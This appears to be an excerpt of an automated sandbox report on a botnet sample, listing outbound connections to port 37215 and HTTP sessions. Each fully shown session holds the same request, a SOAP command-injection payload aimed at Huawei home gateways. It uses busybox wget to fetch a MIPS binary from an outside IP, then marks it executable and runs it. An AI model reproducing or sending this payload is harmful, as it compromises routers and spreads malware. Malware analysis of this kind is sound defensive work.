Mar 6, 2025 21:38:25.158746004 CET	53820	37215	192.168.2.13	197.221.227.133
Mar 6, 2025 21:38:25.159709930 CET	37215	47672	197.218.93.64	192.168.2.13
Mar 6, 2025 21:38:25.159765005 CET	47672	37215	192.168.2.13	197.218.93.64
Mar 6, 2025 21:38:25.159784079 CET	37215	60822	134.145.77.85	192.168.2.13
Mar 6, 2025 21:38:25.159838915 CET	60822	37215	192.168.2.13	134.145.77.85
Mar 6, 2025 21:38:25.159889936 CET	37215	33860	134.93.161.218	192.168.2.13
Mar 6, 2025 21:38:25.159948111 CET	33860	37215	192.168.2.13	134.93.161.218
Mar 6, 2025 21:38:25.160181999 CET	37215	53626	181.32.58.59	192.168.2.13
Mar 6, 2025 21:38:25.160238981 CET	53626	37215	192.168.2.13	181.32.58.59
Mar 6, 2025 21:38:25.161739111 CET	37215	38636	197.20.229.146	192.168.2.13
Mar 6, 2025 21:38:25.161792040 CET	38636	37215	192.168.2.13	197.20.229.146
Mar 6, 2025 21:38:25.161979914 CET	37215	49352	156.68.142.203	192.168.2.13
Mar 6, 2025 21:38:25.162025928 CET	49352	37215	192.168.2.13	156.68.142.203
Mar 6, 2025 21:38:25.163449049 CET	37215	43466	197.154.103.166	192.168.2.13
Mar 6, 2025 21:38:25.163500071 CET	43466	37215	192.168.2.13	197.154.103.166
Mar 6, 2025 21:38:25.164025068 CET	37215	59096	134.244.9.99	192.168.2.13
Mar 6, 2025 21:38:25.164078951 CET	59096	37215	192.168.2.13	134.244.9.99
Mar 6, 2025 21:38:25.173460007 CET	37215	52564	223.8.154.165	192.168.2.13
Mar 6, 2025 21:38:25.173516035 CET	52564	37215	192.168.2.13	223.8.154.165
Mar 6, 2025 21:38:25.173573971 CET	37215	59644	134.97.23.39	192.168.2.13
Mar 6, 2025 21:38:25.173662901 CET	37215	45338	46.14.69.250	192.168.2.13
Mar 6, 2025 21:38:25.173727989 CET	45338	37215	192.168.2.13	46.14.69.250
Mar 6, 2025 21:38:25.173728943 CET	59644	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:25.175132036 CET	37215	43220	156.160.61.156	192.168.2.13
Mar 6, 2025 21:38:25.175180912 CET	43220	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:25.175204039 CET	37215	47048	223.8.27.133	192.168.2.13
Mar 6, 2025 21:38:25.175249100 CET	47048	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:25.177403927 CET	37215	48728	181.158.69.122	192.168.2.13
Mar 6, 2025 21:38:25.177465916 CET	48728	37215	192.168.2.13	181.158.69.122
Mar 6, 2025 21:38:25.177469969 CET	37215	39514	223.8.96.153	192.168.2.13
Mar 6, 2025 21:38:25.177521944 CET	39514	37215	192.168.2.13	223.8.96.153
Mar 6, 2025 21:38:25.177678108 CET	37215	58128	197.152.242.146	192.168.2.13
Mar 6, 2025 21:38:25.177731991 CET	58128	37215	192.168.2.13	197.152.242.146
Mar 6, 2025 21:38:25.177783012 CET	37215	42606	181.98.143.241	192.168.2.13
Mar 6, 2025 21:38:25.177871943 CET	42606	37215	192.168.2.13	181.98.143.241
Mar 6, 2025 21:38:25.189244986 CET	37215	43160	196.1.6.69	192.168.2.13
Mar 6, 2025 21:38:25.189295053 CET	43160	37215	192.168.2.13	196.1.6.69
Mar 6, 2025 21:38:25.190306902 CET	37215	37932	46.93.2.228	192.168.2.13
Mar 6, 2025 21:38:25.190474033 CET	37932	37215	192.168.2.13	46.93.2.228
Mar 6, 2025 21:38:25.190964937 CET	37215	43676	156.181.141.115	192.168.2.13
Mar 6, 2025 21:38:25.191097021 CET	37215	40610	196.208.2.191	192.168.2.13
Mar 6, 2025 21:38:25.191107035 CET	43676	37215	192.168.2.13	156.181.141.115
Mar 6, 2025 21:38:25.191153049 CET	40610	37215	192.168.2.13	196.208.2.191
Mar 6, 2025 21:38:25.194804907 CET	37215	35226	196.127.152.141	192.168.2.13
Mar 6, 2025 21:38:25.194864035 CET	35226	37215	192.168.2.13	196.127.152.141
Mar 6, 2025 21:38:25.194947004 CET	37215	44950	156.13.118.195	192.168.2.13
Mar 6, 2025 21:38:25.195003033 CET	44950	37215	192.168.2.13	156.13.118.195

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	38516	197.21.114.231	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.803823948 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	47394	41.147.108.84	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.805295944 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	37300	196.6.166.25	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.806360960 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	50672	197.84.9.2	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.807941914 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	39186	197.174.225.92	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.808998108 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	49462	134.87.184.70	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.810308933 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	45950	181.202.229.252	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.811594009 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	59558	196.213.167.189	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.812781096 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	41572	46.231.15.207	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.813999891 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	43028	197.245.68.4	37215

Timestamp	Bytes transferred	Direction	Data
